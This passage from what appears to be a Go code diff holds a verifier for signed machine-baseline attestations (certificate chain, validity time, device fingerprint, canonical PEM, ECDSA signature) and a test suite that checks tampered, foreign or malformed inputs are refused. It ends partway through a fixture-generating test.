func baselineVerifyBytes(raw []byte, caPEM, expectFingerprint string) (bool, string) {
var head struct {
TakenAt string `json:"taken_at"`
Attestation *baselineAttestation `json:"attestation"`
}
if err := json.Unmarshal(raw, &head); err != nil {
return false, "this accounting cannot be read: " + err.Error()
}
a := head.Attestation
if a == nil {
return false, "this accounting is not signed"
}
if a.Alg != baselineSigAlg {
return false, "this accounting is signed with " + a.Alg + ", which this bastion does not verify"
}
// THE SIGNER CERTIFICATE IS A CHAIN: the operator certificate first, then
// the intermediate that issued it. The bridge issues operator certificates
// from an intermediate, and a pairing holds only the root, so judging the
// first block alone refused every real accounting as "not issued by this
// pairing's CA". Everything after the first block is offered as an
// intermediate; Verify still requires the path to end at the pairing's root
// and every hop to be a CA.
chain, note := baselineSignerChain(a.SignerCert)
if note != "" {
return false, note
}
cert := chain[0]
inter := x509.NewCertPool()
for _, c := range chain[1:] {
inter.AddCert(c)
}
roots := x509.NewCertPool()
if !roots.AppendCertsFromPEM([]byte(caPEM)) {
return false, "this pairing holds no CA to judge the signer certificate against"
}
// VALIDITY IS JUDGED AT THE MOMENT THE ACCOUNTING WAS TAKEN, not now. This
// is provenance over a document at rest: an accounting taken in March under
// a certificate that expired in June is still that machine's word, and
// judging at time.Now() made every accounting unverifiable at the next cert
// rotation — reported, worse, as "not issued by this CA". A certificate
// that was not valid WHEN THE ACCOUNTING WAS TAKEN is still refused, and by
// name. An unparseable taken_at falls back to now, the stricter choice.
at := time.Now()
if t, ok := parseStamp(head.TakenAt); ok {
at = t
}
chains, err := cert.Verify(x509.VerifyOptions{
Roots: roots, Intermediates: inter, CurrentTime: at, KeyUsages: []x509.ExtKeyUsage{x509.ExtKeyUsageAny},
})
if err != nil {
var inv x509.CertificateInvalidError
if errors.As(err, &inv) && inv.Reason == x509.Expired {
return false, "the signer certificate was not valid at the time this accounting was taken (" + head.TakenAt + ")"
}
return false, "the signer certificate was not issued by this pairing's CA: " + err.Error()
}
// AT MOST ONE INTERMEDIATE, the shape the bridge issues and the only one
// the host accepts. A longer path verifying here and failing there would
// leave the box and the host disagreeing about the same accounting.
short := false
for _, c := range chains {
if len(c) <= 3 {
short = true
}
}
if !short {
return false, "the signer certificate was not issued by this pairing's CA: its chain is longer than one intermediate"
}
// The fingerprint may sit under either name (pair.go fpURIs); a
// certificate naming two different machines is refused, not resolved.
fp := ""
for _, u := range cert.URIs {
s := u.String()
for _, p := range []string{fpSANPrefix, hostFPSANPrefix} {
if !strings.HasPrefix(s, p) {
continue
}
got := strings.TrimPrefix(s, p)
if fp != "" && got != fp {
return false, "the signer certificate carries two different device fingerprints"
}
fp = got
}
}
if fp == "" {
return false, "the signer certificate carries no device fingerprint"
}
if expectFingerprint != "" && fp != expectFingerprint {
return false, "the signer certificate belongs to a different machine"
}
pub, ok := cert.PublicKey.(*ecdsa.PublicKey)
if !ok {
return false, "the signer certificate does not hold an EC key"
}
sig, err := base64.StdEncoding.DecodeString(a.Signature)
if err != nil {
return false, "the signature on this accounting is not base64"
}
canon, err := baselineCanonicalBytes(raw)
if err != nil {
return false, "this accounting could not be canonicalised: " + err.Error()
}
sum := sha256.Sum256(canon)
if !ecdsa.VerifyASN1(pub, sum[:], sig) {
return false, "the signature does not match this accounting — its content has changed since " +
a.SignedBy + "'s key signed it"
}
return true, "signed by " + a.SignedBy + "'s pairing key; verified against its CA and this machine's fingerprint"
}
// baselineSignerChain reads the signer certificate text as [leaf,
// intermediates...], or says why it cannot.
//
// THE TEXT MUST BE THE CANONICAL PEM OF ITS OWN CERTIFICATES, byte for byte:
// every block a CERTIFICATE with no headers, each re-encoded exactly as
// pem.EncodeToMemory writes it, concatenated, equal to what was carried. The
// host applies the same test to the same bytes. Two PEM parsers never agree
// on every malformed input (pem.Decode skips a block it cannot decode and
// promotes the next one to leaf; others refuse), so neither side interprets a
// non-canonical text at all. What the bridge issues and every pairing holds
// is canonical, so nothing real is refused.
func baselineSignerChain(text string) ([]*x509.Certificate, string) {
const bad = "the signer certificate on this accounting cannot be parsed"
var chain []*x509.Certificate
var canon []byte
rest := []byte(text)
for {
var b *pem.Block
if b, rest = pem.Decode(rest); b == nil {
break
}
c, err := x509.ParseCertificate(b.Bytes)
if err != nil {
return nil, bad
}
chain = append(chain, c)
canon = append(canon, pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: b.Bytes})...)
}
if len(chain) == 0 {
return nil, "the signer certificate on this accounting is not PEM"
}
if string(canon) != text {
return nil, bad + ": it is not the canonical PEM of its certificates"
}
return chain, ""
}
// baselineAttestationNote judges the accounting on disk the way the host will,
// for `observe:baseline:show` and the delta's notes. "" when it verifies.
func baselineAttestationNote(f *baselineFile) string {
if f == nil {
return ""
}
p, err := baselinePath()
if err != nil {
return "the attestation could not be checked: no state dir"
}
raw, err := os.ReadFile(p)
if err != nil {
return "the attestation could not be checked: " + err.Error()
}
return baselineAttestationNoteBytes(raw, f.Attestation != nil)
}
// baselineAttestationNoteBytes is the note over the file's own bytes (see
// baselineCanonicalBytes for why not through the struct). `signed` says whether
// the caller's parse saw an attestation, so an honestly-unsigned file is "" and
// not a problem.
//
// loadPairings runs on every pass here (60 s). It reads a directory and N small
// files, and it FAILS THE WHOLE LOAD if any one file is mid-write or malformed
// (config.go) — so a concurrent pair/unpair can produce "pairings unreadable"
// on one beat. Transient and self-correcting; it is a torn read, not an
// attestation problem, and this note says which.
func baselineAttestationNoteBytes(raw []byte, signed bool) string {
cfgs, err := loadPairings()
if err != nil {
return "the attestation could not be checked this pass: pairings unreadable (a pairing " +
"file may be mid-write; this clears on the next pass)"
}
signer, _ := baselineSignerPairing(cfgs)
if signer == nil {
if !signed {
return "" // unsigned and nothing could have signed it; the file says why
}
return "this accounting is signed but no pairing on this machine can check it"
}
ok, note := baselineVerifyBytes(raw, signer.CACert, signer.Fingerprint)
if ok {
return ""
}
return note
}
// baselineMirror writes the accounting into the machine store, where the host
// reads it through dcn beside the findings it stands behind, mirrored to the
// anchor host. The bytes are identical to the state-dir copy; the store
// copy is the one the host verifies, and a host that finds them different has
// found something.
func baselineMirror(b []byte) error {
root, err := storeDir()
if err != nil {
return err
}
p := filepath.Join(root, "baseline.json")
if err := os.WriteFile(p, b, 0o600); err != nil {
return err
}
_ = os.Chmod(p, 0o600)
return nil
}
+951
View File
@@ -0,0 +1,951 @@
package main
// baselinesign_test.go — the accounting's signature.
//
// EVERY TEST HERE BUILDS A REAL CA AND A REAL LEAF with crypto/x509, the way
// the bridge issues an operator certificate, and drives baselineSave /
// baselineLoad / baselineVerify on the resulting files. None asserts a value it
// supplied a seam above the code under test.
//
// The last test is a FIXTURE GENERATOR: when BASELINE_FIXTURE_OUT names a
// directory it writes a signed accounting, the CA and the fingerprint there.
// The host-side test suite verifies THAT artefact — so the two
// languages are checked against one signed document, not each against its own
// fake. That is the cross-language claim baselinesign.go rests on, and it is
// tested rather than asserted.
import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/sha256"
"crypto/x509"
"crypto/x509/pkix"
"encoding/base64"
"encoding/json"
"encoding/pem"
"fmt"
"math/big"
"net/url"
"os"
"path/filepath"
"strings"
"testing"
"time"
)
// fixtureNotBefore is the start of every fixture certificate's validity: well
// before sampleBaseline's taken_at, so the accounting never predates its own
// certificate.
var fixtureNotBefore = time.Date(2026, 1, 1, 0, 0, 0, 0, time.UTC)
// signingFixture is a CA, a leaf issued by it carrying the fingerprint SAN the
// bridge puts in an operator certificate, and the leaf's key — the same shape
// pair.go's CSR and the bridge's issuance produce.
type signingFixture struct {
caPEM, leafPEM, keyPEM string
fp string
}
func newSigningFixture(t *testing.T, fp string) signingFixture {
t.Helper()
uris, err := fpURIs(fp, true)
if err != nil {
t.Fatal(err)
}
return newSigningFixtureWithURIs(t, fp, uris)
}
// newSigningFixtureWithURIs issues the leaf with exactly these URI SANs, for
// the certificates a platform or an older Host issues.
func newSigningFixtureWithURIs(t *testing.T, fp string, uris []*url.URL) signingFixture {
t.Helper()
caKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
t.Fatal(err)
}
caTpl := &x509.Certificate{
SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "test CEIGAS CA"},
// VALID ACROSS THE SAMPLE'S taken_at. Both verifiers judge the
// certificate at the moment the accounting was taken, and the sample is
// stamped 2026-09-19T10:00:00Z — a certificate minted "now minus an hour"
// post-dated the accounting and every host-side test failed with
// cert_not_valid, which was the fixture's fault, not the verifier's.
NotBefore: fixtureNotBefore, NotAfter: fixtureNotBefore.Add(10 * 365 * 24 * time.Hour),
IsCA: true, BasicConstraintsValid: true,
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
}
caDER, err := x509.CreateCertificate(rand.Reader, caTpl, caTpl, &caKey.PublicKey, caKey)
if err != nil {
t.Fatal(err)
}
caCert, _ := x509.ParseCertificate(caDER)
leafKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
t.Fatal(err)
}
leafTpl := &x509.Certificate{
SerialNumber: big.NewInt(2), Subject: pkix.Name{CommonName: "operator"},
NotBefore: fixtureNotBefore, NotAfter: fixtureNotBefore.Add(10 * 365 * 24 * time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
URIs: uris,
}
leafDER, err := x509.CreateCertificate(rand.Reader, leafTpl, caCert, &leafKey.PublicKey, caKey)
if err != nil {
t.Fatal(err)
}
keyDER, _ := x509.MarshalECPrivateKey(leafKey)
return signingFixture{
caPEM: string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER})),
leafPEM: string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: leafDER})),
keyPEM: string(pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})),
fp: fp,
}
}
// newChainedSigningFixture is the shape a real pairing holds: the pairing's CA
// is the ROOT, the operator certificate is issued by an INTERMEDIATE, and
// operator_cert carries the leaf followed by that intermediate — twice, as the
// bridge returns it on the fleet. newSigningFixture issues the leaf straight
// from the CA, which is why every test passed while every real accounting was
// refused as "not issued by this pairing's CA".
func newChainedSigningFixture(t *testing.T, fp string) signingFixture {
t.Helper()
uris, err := fpURIs(fp, true)
if err != nil {
t.Fatal(err)
}
return newChainedSigningFixtureWithURIs(t, fp, uris)
}
// newChainedSigningFixtureWithURIs is newChainedSigningFixture with the leaf's
// URI SANs chosen by the caller.
func newChainedSigningFixtureWithURIs(t *testing.T, fp string, uris []*url.URL) signingFixture {
t.Helper()
key := func() *ecdsa.PrivateKey {
k, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
t.Fatal(err)
}
return k
}
issue := func(tpl, parent *x509.Certificate, pub *ecdsa.PublicKey, signer *ecdsa.PrivateKey) (*x509.Certificate, []byte) {
tpl.NotBefore, tpl.NotAfter = fixtureNotBefore, fixtureNotBefore.Add(10*365*24*time.Hour)
if parent == nil {
parent = tpl
}
der, err := x509.CreateCertificate(rand.Reader, tpl, parent, pub, signer)
if err != nil {
t.Fatal(err)
}
c, _ := x509.ParseCertificate(der)
return c, der
}
rootKey, interKey, leafKey := key(), key(), key()
root, rootDER := issue(&x509.Certificate{SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "test Root CA"},
IsCA: true, BasicConstraintsValid: true, KeyUsage: x509.KeyUsageCertSign}, nil, &rootKey.PublicKey, rootKey)
inter, interDER := issue(&x509.Certificate{SerialNumber: big.NewInt(2), Subject: pkix.Name{CommonName: "test Entity Intermediate"},
IsCA: true, BasicConstraintsValid: true, MaxPathLenZero: true, KeyUsage: x509.KeyUsageCertSign}, root, &interKey.PublicKey, rootKey)
_, leafDER := issue(&x509.Certificate{SerialNumber: big.NewInt(3), Subject: pkix.Name{CommonName: "operator"},
KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
BasicConstraintsValid: true, URIs: uris}, inter, &leafKey.PublicKey, interKey)
enc := func(der []byte) string {
return string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: der}))
}
keyDER, _ := x509.MarshalECPrivateKey(leafKey)
return signingFixture{
caPEM: enc(rootDER),
leafPEM: enc(leafDER) + enc(interDER) + enc(interDER),
keyPEM: string(pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})),
fp: fp,
}
}
// chainFixture issues root -> interCA[0] -> interCA[1] ... -> leaf, where each
// entry says whether that intermediate is a CA. The chain PEM is the leaf
// followed by the intermediates, nearest first. For the shapes the fleet never
// sends and both verifiers must refuse the same way.
func chainFixture(t *testing.T, fp string, interCA []bool) signingFixture {
t.Helper()
key := func() *ecdsa.PrivateKey {
k, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
t.Fatal(err)
}
return k
}
serial := int64(1)
issue := func(tpl, parent *x509.Certificate, pub *ecdsa.PublicKey, signer *ecdsa.PrivateKey) (*x509.Certificate, []byte) {
tpl.SerialNumber = big.NewInt(serial)
serial++
tpl.NotBefore, tpl.NotAfter = fixtureNotBefore, fixtureNotBefore.Add(10*365*24*time.Hour)
tpl.BasicConstraintsValid = true
if parent == nil {
parent = tpl
}
der, err := x509.CreateCertificate(rand.Reader, tpl, parent, pub, signer)
if err != nil {
t.Fatal(err)
}
c, _ := x509.ParseCertificate(der)
return c, der
}
enc := func(der []byte) string {
return string(pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: der}))
}
rootKey := key()
parent, rootDER := issue(&x509.Certificate{Subject: pkix.Name{CommonName: "chain root"},
IsCA: true, KeyUsage: x509.KeyUsageCertSign}, nil, &rootKey.PublicKey, rootKey)
parentKey := rootKey
var inters []string
for i, isCA := range interCA {
k := key()
tpl := &x509.Certificate{Subject: pkix.Name{CommonName: fmt.Sprintf("chain intermediate %d", i)}, IsCA: isCA}
if isCA {
tpl.KeyUsage = x509.KeyUsageCertSign
}
c, der := issue(tpl, parent, &k.PublicKey, parentKey)
inters = append([]string{enc(der)}, inters...)
parent, parentKey = c, k
}
leafKey := key()
fpURIList, _ := fpURIs(fp, true)
_, leafDER := issue(&x509.Certificate{Subject: pkix.Name{CommonName: "operator"},
KeyUsage: x509.KeyUsageDigitalSignature, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
URIs: fpURIList}, parent, &leafKey.PublicKey, parentKey)
keyDER, _ := x509.MarshalECPrivateKey(leafKey)
return signingFixture{
caPEM: enc(rootDER),
leafPEM: enc(leafDER) + strings.Join(inters, ""),
keyPEM: string(pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})),
fp: fp,
}
}
// writeSigningPairing installs one active pairing holding the fixture's key,
// cert, CA and fingerprint — what `pair` writes at redeem.
func writeSigningPairing(t *testing.T, host string, fx signingFixture) {
t.Helper()
pd, err := pairingsDir()
if err != nil {
t.Fatal(err)
}
cfg := Config{HostName: host, OperatorKey: fx.keyPEM, OperatorCert: fx.leafPEM,
CACert: fx.caPEM, Fingerprint: fx.fp, State: pairingActive}
b, _ := json.MarshalIndent(cfg, "", " ")
if err := os.WriteFile(filepath.Join(pd, host+".json"), b, 0o600); err != nil {
t.Fatal(err)
}
}
func sampleBaseline() baselineFile {
return baselineFile{
Version: baselineVersion, TakenAt: "2026-09-19T10:00:00Z",
Coverage: "processes=all,schedulers=all",
Entries: []baselineEntry{
{FP: "aaa", Kind: "process", Exe: "/usr/sbin/sshd", ExeDigest: "sha256:aaa",
User: "root", Unit: "ssh.service", ArgvShape: "sshd -D"},
// A path with characters both encoders must agree on: a quote, a
// backslash, a non-ASCII rune, and the HTML characters Go escapes by
// default and this scheme turns off.
{FP: "bbb", Kind: "process", Exe: `/opt/naïve <app> & "co"\bin`, ExeDigest: "sha256:bbb",
User: "alice", ArgvShape: "app --serve", Endpoints: []string{"http://127.0.0.1:11434"}},
},
Unreadable: 3,
}
}
func TestASavedAccountingIsSignedAndVerifies(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
f, digestOK, err := baselineLoad()
if err != nil || !digestOK {
t.Fatalf("load: ok=%v err=%v", digestOK, err)
}
if f.Attestation == nil {
t.Fatalf("the accounting was written unsigned: %q", f.UnsignedReason)
}
if f.Attestation.SignedBy != "one.host.privatae.ai" || f.Attestation.Alg != baselineSigAlg {
t.Fatalf("attestation names %+v", f.Attestation)
}
ok, note := baselineVerify(f, fx.caPEM, fx.fp)
if !ok {
t.Fatalf("a freshly signed accounting did not verify: %s", note)
}
if n := baselineAttestationNote(f); n != "" {
t.Fatalf("the on-disk check disagrees with the direct one: %q", n)
}
}
// The self-digest and the attestation answer two questions and must not be
// coupled: signing must not change the digest, and the digest must not cover
// the signature.
func TestTheDigestDoesNotCoverTheAttestation(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
writeSigningPairing(t, "one.host.privatae.ai", fx)
unsigned := sampleBaseline()
d1, _ := baselineDigestOf(unsigned)
if err := baselineSave(unsigned); err != nil {
t.Fatal(err)
}
f, ok, _ := baselineLoad()
if !ok {
t.Fatal("digest broke on save")
}
if f.Digest != d1 {
t.Fatalf("signing changed the digest: %s -> %s", d1, f.Digest)
}
}
func TestEditedContentFailsTheSignatureAndNamesTheReason(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
p, _ := baselinePath()
b, _ := os.ReadFile(p)
edited := strings.Replace(string(b), `"unreadable": 3`, `"unreadable": 0`, 1)
if edited == string(b) {
t.Fatal("the fixture edit did not apply, so this test proves nothing")
}
if err := os.WriteFile(p, []byte(edited), 0o600); err != nil {
t.Fatal(err)
}
f, _, err := baselineLoad()
if err != nil {
t.Fatal(err)
}
ok, note := baselineVerify(f, fx.caPEM, fx.fp)
if ok {
t.Fatal("an edited accounting verified")
}
if !strings.Contains(note, "content has changed") {
t.Fatalf("the note must name a content change, got %q", note)
}
}
func TestACertificateFromAnotherCAIsRefused(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
other := newSigningFixture(t, "fp-one") // same fingerprint, different CA
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
f, _, _ := baselineLoad()
ok, note := baselineVerify(f, other.caPEM, fx.fp)
if ok || !strings.Contains(note, "not issued by") {
t.Fatalf("a foreign CA must be refused by name: ok=%v note=%q", ok, note)
}
}
// THE FLEET'S SHAPE. A leaf issued by an intermediate, with the intermediate
// carried after it, verifies against a pairing that holds only the root — and
// the machine's own note, which is what rides the beat, is clean.
func TestAnAccountingSignedUnderAnIntermediateVerifiesAgainstTheRoot(t *testing.T) {
isolateConfigDir(t)
fx := newChainedSigningFixture(t, "fp-one")
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
f, _, _ := baselineLoad()
if ok, note := baselineVerify(f, fx.caPEM, fx.fp); !ok {
t.Fatalf("an accounting signed under the pairing's intermediate was refused: %q", note)
}
if note := baselineAttestationNote(f); note != "" {
t.Fatalf("the note the beat carries must be clean for the fleet's chain, got %q", note)
}
}
// Carrying an intermediate must not let a chain END somewhere else: the same
// shape under a different root is still refused by name.
func TestAnIntermediateFromAnotherRootIsRefused(t *testing.T) {
isolateConfigDir(t)
fx := newChainedSigningFixture(t, "fp-one")
other := newChainedSigningFixture(t, "fp-one")
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
f, _, _ := baselineLoad()
ok, note := baselineVerify(f, other.caPEM, fx.fp)
if ok || !strings.Contains(note, "not issued by") {
t.Fatalf("a chain ending at a foreign root must be refused by name: ok=%v note=%q", ok, note)
}
}
// verifyChainShape signs the sample under fx and judges it against fx's root.
func verifyChainShape(t *testing.T, fx signingFixture, edit func(signerCert string) string) (bool, string) {
t.Helper()
isolateConfigDir(t)
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
p, _ := baselinePath()
raw, _ := os.ReadFile(p)
if edit != nil {
var doc map[string]any
if err := json.Unmarshal(raw, &doc); err != nil {
t.Fatal(err)
}
att := doc["attestation"].(map[string]any)
att["signer_cert"] = edit(att["signer_cert"].(string))
raw, _ = json.Marshal(doc)
}
return baselineVerifyBytes(raw, fx.caPEM, fx.fp)
}
// The shape helper itself verifies at one CA intermediate, so every refusal
// below is about the shape and not a fixture that refuses everything.
func TestTheChainHelperVerifiesAtOneIntermediate(t *testing.T) {
if ok, note := verifyChainShape(t, chainFixture(t, "fp-one", []bool{true}), nil); !ok {
t.Fatalf("root -> CA intermediate -> leaf must verify: %q", note)
}
}
func TestAChainThroughTwoIntermediatesIsRefused(t *testing.T) {
ok, note := verifyChainShape(t, chainFixture(t, "fp-one", []bool{true, true}), nil)
if ok || !strings.Contains(note, "longer than one intermediate") {
t.Fatalf("the host accepts one intermediate at most, and so must the box: ok=%v note=%q", ok, note)
}
}
func TestAnIntermediateThatIsNotACAIsRefused(t *testing.T) {
ok, note := verifyChainShape(t, chainFixture(t, "fp-one", []bool{false}), nil)
if ok || !strings.Contains(note, "not issued by") {
t.Fatalf("a CA:FALSE certificate cannot vouch for a leaf: ok=%v note=%q", ok, note)
}
}
// afterLeaf splits a signer text after the leaf's END line.
func afterLeaf(s string) (string, string) {
i := strings.Index(s, "-----END CERTIFICATE-----\n") + len("-----END CERTIFICATE-----\n")
return s[:i], s[i:]
}
// THE SIGNER TEXT MUST BE THE CANONICAL PEM OF ITS CERTIFICATES. Every shape
// here was, at some point, read one way by pem.Decode and another by the
// host's parser — some accepted on one side only. Each is refused on both.
// The same shapes are in the host's suite.
func TestANonCanonicalSignerTextIsRefused(t *testing.T) {
const blockKey = "-----BEGIN EC PRIVATE KEY-----\nAAAA\n-----END EC PRIVATE KEY-----\n"
for name, edit := range map[string]func(string) string{
"leading text": func(s string) string { return "operator certificate:\n" + s },
"leading space": func(s string) string { return " " + s },
"key block first": func(s string) string { return blockKey + s },
"key block inside": func(s string) string { h, t := afterLeaf(s); return h + blockKey + t },
"other label": func(s string) string {
h, t := afterLeaf(s)
return h + strings.ReplaceAll(t, "CERTIFICATE-----", "X509 CERTIFICATE-----")
},
"indented intermediate": func(s string) string { h, t := afterLeaf(s); return h + " " + t },
"malformed trailing": func(s string) string { return s + "-----BEGIN CERTIFICATE-----\nAAAA\n-----END CERTIFICATE-----\n" },
"undecodable decoy": func(s string) string { return "-----BEGIN CERTIFICATE-----\n!!!!\n-----END CERTIFICATE-----\n" + s },
"header in leaf": func(s string) string {
return strings.Replace(s, "-----BEGIN CERTIFICATE-----\n", "-----BEGIN CERTIFICATE-----\nProc-Type: 4,ENCRYPTED\n\n", 1)
},
"space after BEGIN": func(s string) string {
return strings.Replace(s, "-----BEGIN CERTIFICATE-----\n", "-----BEGIN CERTIFICATE----- \n", 1)
},
"text after leaf END": func(s string) string { h, t := afterLeaf(s); return strings.TrimSuffix(h, "\n") + " trailing\n" + t },
"CRLF": func(s string) string { return strings.ReplaceAll(s, "\n", "\r\n") },
"no final newline": func(s string) string { return strings.TrimSuffix(s, "\n") },
"re-wrapped base64": func(s string) string { return strings.Replace(s, "\n", "", 2) },
"just a BEGIN line": func(string) string { return "-----BEGIN CERTIFICATE-----" },
"empty": func(string) string { return "" },
"extra final newline": func(s string) string { return s + "\n" },
"text after last END": func(s string) string { return s + "trailing text\n" },
} {
ok, note := verifyChainShape(t, newChainedSigningFixture(t, "fp-one"), edit)
if ok || !strings.Contains(note, "signer certificate on this accounting") {
t.Fatalf("%s: a non-canonical signer text must be refused before it is read: ok=%v note=%q", name, ok, note)
}
}
}
// The canonical form is exactly what the fleet sends, so the check refuses
// nothing real: the chained fixture untouched verifies.
func TestTheCanonicalSignerTextVerifies(t *testing.T) {
if ok, note := verifyChainShape(t, newChainedSigningFixture(t, "fp-one"), func(s string) string { return s }); !ok {
t.Fatalf("the canonical chain must verify: %q", note)
}
}
func TestACertificateForAnotherMachineIsRefused(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
f, _, _ := baselineLoad()
ok, note := baselineVerify(f, fx.caPEM, "fp-two")
if ok || !strings.Contains(note, "different machine") {
t.Fatalf("a foreign fingerprint must be refused by name: ok=%v note=%q", ok, note)
}
}
// The anchor's key signs on an anchored box even when other hosts are paired.
func TestTheAnchorPairingSignsOnAnAnchoredBox(t *testing.T) {
isolateConfigDir(t)
anchorFx := newSigningFixture(t, "fp-one")
memberFx := newSigningFixture(t, "fp-one")
writeSigningPairing(t, "anchor.host.privatae.ai", anchorFx)
writeSigningPairing(t, "member.host.privatae.ai", memberFx)
cfgs, _ := loadPairings()
// Two hosts, no anchor: nobody speaks for the machine.
if signer, why := baselineSignerPairing(cfgs); signer != nil || why != baselineUnsignedNoAnchor {
t.Fatalf("two unanchored hosts must not pick a signer: %v %q", signer, why)
}
}
func TestAMultiHostBoxWithNoAnchorWritesUnsignedAndSaysWhy(t *testing.T) {
isolateConfigDir(t)
writeSigningPairing(t, "a.host.privatae.ai", newSigningFixture(t, "fp-one"))
writeSigningPairing(t, "b.host.privatae.ai", newSigningFixture(t, "fp-one"))
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
f, _, _ := baselineLoad()
if f.Attestation != nil {
t.Fatal("an unanchored multi-host box signed with one host's key")
}
if f.UnsignedReason != baselineUnsignedNoAnchor {
t.Fatalf("the reason must be recorded in the file: %q", f.UnsignedReason)
}
if n := baselineAttestationNote(f); n != "" {
t.Fatalf("an honestly-unsigned file must not read as a problem: %q", n)
}
}
func TestANoPairingBoxWritesUnsignedAndSaysWhy(t *testing.T) {
isolateConfigDir(t)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
f, _, _ := baselineLoad()
if f.Attestation != nil || f.UnsignedReason != baselineUnsignedNoPairing {
t.Fatalf("got attestation=%v reason=%q", f.Attestation, f.UnsignedReason)
}
}
// A key that is PRESENT but unreadable is an error, not a silent unsigned file:
// a reader cannot tell "meant to be unsigned" from "failed to sign".
func TestAnUnreadableOperatorKeyIsAnErrorNotAnUnsignedFile(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
fx.keyPEM = "-----BEGIN EC PRIVATE KEY-----\nnot a key\n-----END EC PRIVATE KEY-----\n"
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err == nil {
t.Fatal("a corrupt operator key produced no error")
}
if _, err := os.Stat(func() string { p, _ := baselinePath(); return p }()); !os.IsNotExist(err) {
t.Fatal("an accounting was written despite the signing failure")
}
}
func TestTheAccountingIsMirroredIntoTheStore(t *testing.T) {
isolateConfigDir(t)
fx := newSigningFixture(t, "fp-one")
writeSigningPairing(t, "one.host.privatae.ai", fx)
if err := baselineSave(sampleBaseline()); err != nil {
t.Fatal(err)
}
p, _ := baselinePath()
root, _ := storeDir()
a, _ := os.ReadFile(p)
b, err := os.ReadFile(filepath.Join(root, "baseline.json"))
if err != nil {
t.Fatalf("no mirror in the store: %v", err)
}
if string(a) != string(b) {
t.Fatal("the store copy differs from the state-dir copy")
}
fi, _ := os.Stat(filepath.Join(root, "baseline.json"))
if fi.Mode().Perm() != 0o600 {
t.Fatalf("mirror is %v, want 0600", fi.Mode().Perm())
}
}
// Canonical form is stable across a round trip through the file, and the two
// derived keys never enter it.
func TestCanonicalFormIsStableAndExcludesDerivedKeys(t *testing.T) {
f := sampleBaseline()
c1, err := baselineCanonical(f)
if err != nil {
t.Fatal(err)
}
f.Digest = "anything"
f.Attestation = &baselineAttestation{Signature: "x"}
f.UnsignedReason = ""
c2, _ := baselineCanonical(f)
if string(c1) != string(c2) {
t.Fatal("digest or attestation leaked into the canonical form")
}
if strings.Contains(string(c1), `"digest"`) || strings.Contains(string(c1), `"attestation"`) {
t.Fatalf("derived keys present: %s", c1)
}
// TOP LEVEL ONLY. The host drops the two keys only at the top level; a
// recursive delete here would diverge on any entry that ever carried a
// `digest` field. Latent today (entries carry exe_digest), and a mutation
// making the delete recursive survived — so it is pinned.
nested, err := baselineCanonicalBytes([]byte(`{"entries":[{"digest":"keep","fp":"a"}],"digest":"drop","attestation":{"x":1}}`))
if err != nil {
t.Fatal(err)
}
if string(nested) != `{"entries":[{"digest":"keep","fp":"a"}]}` {
t.Fatalf("nested derived-key names must be preserved, got %s", nested)
}
// No HTML escaping (a raw `<`, never `\u003c`) and non-ASCII raw: what the
// Python side produces. The first version of this assertion had the sign
// backwards and failed on correct output.
if strings.Contains(string(c1), `\u003c`) || !strings.Contains(string(c1), `<app>`) ||
!strings.Contains(string(c1), "naïve") {
t.Fatalf("canonical escaping differs from the host's: %s", c1)
}
}
// THE CROSS-LANGUAGE FIXTURE. Set BASELINE_FIXTURE_OUT=<dir> to write a signed
// accounting, its CA and its fingerprint for the host-side verifier's own
// test suite. Skipped otherwise.
func TestWriteCrossLanguageFixture(t *testing.T) {
out := os.Getenv("BASELINE_FIXTURE_OUT")
if out == "" {
t.Skip("set BASELINE_FIXTURE_OUT to write the fixture the host verifies")
}
